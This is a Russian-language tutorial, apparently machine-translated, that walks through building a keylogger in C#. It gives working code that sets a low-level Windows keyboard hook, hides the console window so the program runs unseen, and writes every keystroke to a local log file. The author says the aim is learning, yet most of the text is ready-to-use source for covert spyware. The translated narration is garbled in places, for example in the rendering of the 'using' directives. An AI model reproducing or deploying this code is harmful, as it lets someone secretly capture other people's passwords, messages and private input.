Сделайте Свой Собственный Кейлоггер С Помощью C#.Net
автор: Аркадип де
Это прикладная программа, которая используется для получения всех введенных клавиш с одной клавиатуры. обычно его используют в хакерских целях.
Согласно Webopedia :
кейлоггер - это тип программного обеспечения для наблюдения (считающегося либо программным обеспечением, либо шпионским ПО), которое имеет возможность записывать каждое нажатие клавиши в файл журнала, обычно зашифрованный. Кейлоггер-рекордер может записывать мгновенные сообщения, электронную почту и любую информацию, которую вы вводите в любое время с помощью клавиатуры.
Здесь я покажу это не для того, чтобы взломать чьи-то компьютеры, а чтобы узнать процесс.
Итак, давайте начнем делать наш собственный кейлоггер.
Сначала запустите консольное приложение в visual Studio.
Теперь добавьте пространство имен
- использование системы.Диагностика;
- использование системы.Windows.Формы;
- использование системы.Время выполнения.InteropServices;
- использование System.IO;
Теперь добавьте несколько частных глобальных переменных
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Теперь в основном()
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // to hide the running application
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Теперь добавьте этот код вне Main()
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
/*for this create a folder named "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Теперь добавьте несколько библиотек DLL
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
и в конце сделайте SW_HIDE 0
const int SW_HIDE = 0;
Теперь, сделав все это, вы получите ошибку в использовании системы.Windows.Формы;.
Чтобы избежать этой ошибки, вы должны добавить ссылку на Windows.Формы.
Как это сделать?
Щелкните правой кнопкой мыши на имени проекта в обозревателе решений. И нажмите на ссылку Добавить.

Теперь на вкладке .NET выберите систему.Windows.Форма
И нажмите на кнопку ОК. Теперь, если вы проверите ссылку обозревателя решений, вы получите, что ссылка была добавлена.
Теперь постройте (нажмите F6) и проверьте, есть ли какая-либо ошибка или нет. В соответствии с кодом там не должно быть никаких ошибок. Так что запускайте программу.
Если вы запускаете код с приложением.Затем StartupPath проверяет файл журнала в папке bin -> debug. И ты тоже получишь свое .EXE под этой папкой. Так что наслаждайтесь...
Полный исходный код можно скачать здесь .
Дата публикации: